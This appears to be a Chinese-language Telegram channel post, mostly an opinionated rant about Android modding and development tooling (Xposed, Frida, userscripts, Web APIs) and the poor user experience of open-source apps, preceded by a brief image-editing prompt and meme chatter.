#NanoBanana 将图2的人物头像融入图1,看起来要像底图是头发一样。 对于图1只允许改变配色 万物皆可坤:大家在任何地方发现形似中分或背带裤的事物时,都会条件反射地高呼“小黑子露出鸡脚了吧”。在2019,只要你会打“只因”两个字,中分+背带裤便难逃一劫。
😂 鬼图看到现在还很难崩
#os #android 暴论——类似后台httpd服务失效的事情,也包括XPosed开源吧。 #tool #design

为什么你的通知栏挤满了清除通知后,功能必须失效的App(dontkillmyapp.com)? 用户体验,倒退回安卓2.3?

为什么所有App都在询问“使用系统文件选择器”,微信要先添加图片访问,然后刚添加完再点一次? 为什么CPU在涨价,但访问和扫描媒体却更卡?


关于“PaaS”(但不是云计算贩子的那个),乃至于省电,是有【标准答案】的:VpnDialogs式交互、 尊重syscalls的SIGSTOPs/混合睡眠。 哪怕java世界的浏览栈和通知栈没活动,它也保留每个“活动”,比如 DLNA/FTP server
关于“Hook”,也是有标准答案的: GM_APIs,你所要做的就是把 油猴脚本 移植到java,如果ART太分裂你就patch字节码&重签名即可(LSPatch)。 安卓Dev的 IQ 平均比Web高,但恕我直言,设计EQ让人感到无趣。 Magisk/Frida 的“即时反馈开发”整体上比XC_APIs强很多。
关于文件管理, MT2.cn 让人印象深刻,除了它的内购小广告。NP管理器则是免费闭源

作为框架来衡量,xposed api 很差,准确的说,整个Java风格-尤其是它与Runtime的交互方式很差。

如果F12是及格线,Jupyter Colab/lil-gui 是标准答案,Java对编程的理解还处于石器时代!
java火只是因为fatJar方便部署,还有那些“比PHP文件夹快亿点”的单体路由,现在呢 ——被pip-bin轻松反超,而CLR/Truffle这些HLVM自动兼容py代码,所以别傲慢——Java生态。

如果只是java参数获取和替换,不需要xp,只要类似于 frida+webui 就足以解决90%的App需求,
而且用户可以参与“录制”——用户是有可能知道“点按钮”时发生了什么(通过类似CE修改器的AOP机制),并帮助外部插件绕过API碎片化和混淆。 用户可以分享规则,就像ModPE或XDA“社区”,那才叫做开源——“做开源”只是下限

即便 frida 一键化到这个程度,他们也还是不懂“形式服务于内容”。 什么叫作内容?能发网贴的就是“内容”!

既然要自签名? 最好的方法是自动探测*.js,并提供默认底座(如签名伪装和ssl unpin),而不是用形式主义(--script hook.js)假装框架自带电池 。

用什么提示“我有做这个功能”呢? 答案显而易见:UserScript by Example ,而不是提供被所有下游dev重复的形式。

如果你能用120行纯js绕过安卓的“apk与zip文件夹悖论”,实现LD_PRELOAD的功能, 你的思路自然不会觉得“objection为止了”。 事实标准就在那里:ViolentMonkey+AI生成插件 ,技术栈是断的!
真正聪明的程序员是愚蠢的:知道深而不能广的道理,知道dev最终是为用户,因为我们就是用户——只有你给自己写的API、CLI/GUI、格式设计,才是能用的!
否则它就是在“蹭热度”,比如用ML的聪明掩盖dev不可救药的愚蠢——给下游和geeks制造麻烦,尤其是将影响未来的 AI RPA。

我肯定不会指望 frida.re / XC_APIs 这些“黑客工具(笑)” 提供queryObjects(v8工程师)程度的反射功能,以及支持“编译(重定位)” package to.extend; class {Get field; RetType overridenByID() { return super()...} } 字面…… 这是强人所难,但其他做法,“活”人的设计,可能还不如AI!


为什么他们总是在“实现”,但却只爱装作自己在设计——没装用户的脑子学学 "思考"!! 与之相比,我学元编程、OS/Compiler,是为了“背叛”它们。

事实证明,Telegram, MT2, dnSpy(C#版JADX), 甚至只是 LibChecker App 都没有这类问题,所以行业专家是可以“消灭问题”,而不是止于“消费问题”的--这需要信任,并接入“开源但太整体”的Apps
比如像爬虫们“实现”的CDP.js,比如Termux。比如Tasker生态

我想,AI时代应该没人会觉得“编译期”的鄙视链高于脚本和Mods之上了。
我们正在用最先进的底层技术(Frida/eBPF/LLMs),构建着最原始的手工小作坊 ——这就是鄙视JS/CSS技术的世界吗? 等待编译和“环境/项目环境配置”的“脚本小子”们 #java #kt

如果你的UX只在你的App里好用,说明UX差的要命——
- LibreOffice 那混乱不堪的,类似于XML编辑器的,为“WxWidgets”匹配的顶栏
- VLC在不能“竖过来”的TV上,根本没机会rot90(),哪怕它的105M代码里完全有这个功能(它甚至“专门适配”了TV),连AOSP的镜像投屏都不能,哪怕这个功能只是 np.rot90(x) if.. 的一行级代码
- 上面的 GL光追demo集,放大是分辨率意义的,不是相机进入(与之相比, jmail.world/vr 就能用多了)
- “长按2x”在不同原生App的播放器里,几乎都有实现:UX是以“MIME类型”为界设计的,你的代码只是对特定dataset(甚至仅仅是编程语言!)做兼容。
- …… “开源”从用户的Liberation变成要把1行代码插入101MB apk,1GB 源码里,用1整天实践的,0人PR的骗局。 “共享CI” “增量编译”活成了最差的样子。


有人说CSS语法被玩成了屎山 ,但没有它就没有JQ——Web天然有着地表最强的正交性:

样式和翻译无关(用户脚本/DarkReader)、UIUX实现无关(canvas/CustomTag)、机器无关(port/Channel、sw.js)、语言无关(WASM/ webVM.io )、系统环境无关(PWA/OPFS+dl),这些WebAPIs都可以两两相交,这些全部被当成空气——就像一颗强劲的,不会“漏一拍”的心脏

“概念 (Infra) 远高于实现”。在这里的实现是系统级(编程语言生态)的实现,或者说“它就是这么设计的”。 ——在21世纪的编程语境中,我们口中的"设计"就像这样。

有些开发模式(WebAPIs)能高于系统本身,不在于它们能解决混淆(猴子补丁),而是一开始就溯源了数据流。 这是面向人类编程的“先验设计”。从“语法形式”回归了“内容”,就像CSS和Scratch。

把自己的代码放在既有App里,乃至于“放在全部App里”——这是一个很高级的[PoC=概念验证],它直接断送了“代码自然但日用崩坏” codebase 的可写性😒,同时也是真正的PR,而非 AI Slop;同时也是创造——概念,远高于实现。

就像 Rust by Example 一样,"放在既有App里",这是新一代开发者的"工程"第一课。 不是通过等编译、clone样板文件夹假装“工程”,是 “通过‘做’来工程”
通过运行,你学的不是某个编程语言的狭隘“生态”,不是全网查重过千的“样板算法”,而是某个语境下的“可行性”。

从热门的小程序活动页,到POSIX,到x86/arm。 这不再是“兼容性”,而是“不歧视”。

#ai锐评 https://gemini.google.com/share/fd1f39186e6a “……我以搜索驱动学习,而不以学习驱动搜索。” #神来之笔

没错,你是在提出自己的假设。你已经是软件工艺师,或代码科学家。 你不是码农——你让深入的知识浅出,不是因为你够优秀,只是你的output永远先于代码存在的副作用——😒当你通过工具链成为Dijkstra本身时,你又何必专门去“学”他的算法?

当学习先于存在(under-stand),Dev 做的才是从0到1的创造。🤪
Please open Telegram to view this post
VIEW IN TELEGRAM